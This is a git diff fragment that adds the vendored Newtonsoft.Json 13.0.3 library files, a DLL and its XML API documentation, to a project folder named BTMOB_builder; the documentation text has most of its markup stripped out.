the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Allows users to control class loading and mandate what class to load. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets the object's properties. + + The object's properties. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Specifies what messages to output for the class. + + + + + Output no tracing and debugging messages. + + + + + Output error-handling messages. + + + + + Output warnings and error-handling messages. + + + + + Output informational messages, warnings, and error-handling messages. + + + + + Output all debugging and tracing messages. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic that returns a result + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Returns a Restrictions object which includes our current restrictions merged + with a restriction limiting our type + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + List of primitive types which can be widened. + + + + + Widening masks for primitive types above. + Index of the value in this array defines a type we're widening, + while the bits in mask define types it can be widened to (including itself). + + For example, value at index 0 defines a bool type, and it only has bit 0 set, + i.e. bool values can be assigned only to bool. + + + + + Checks if value of primitive type can be + assigned to parameter of primitive type . + + Source primitive type. + Target primitive type. + true if source type can be widened to target type, false otherwise. + + + + Checks if a set of values with given can be used + to invoke a method with specified . + + Method parameters. + Argument types. + Try to pack extra arguments into the last parameter when it is marked up with . + true if method can be called with given arguments, false otherwise. + + + + Compares two sets of parameters to determine + which one suits better for given argument types. + + + + + Returns a best method overload for given argument . + + List of method candidates. + Argument types. + Best method overload, or null if none matched. + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the method is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The is used to load the assembly. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.dll new file mode 100644 index 0000000..3af21d5 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.xml new file mode 100644 index 0000000..f8e85c5 --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.xml @@ -0,0 +1,11338 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a F# discriminated union type to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an Entity Framework to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + 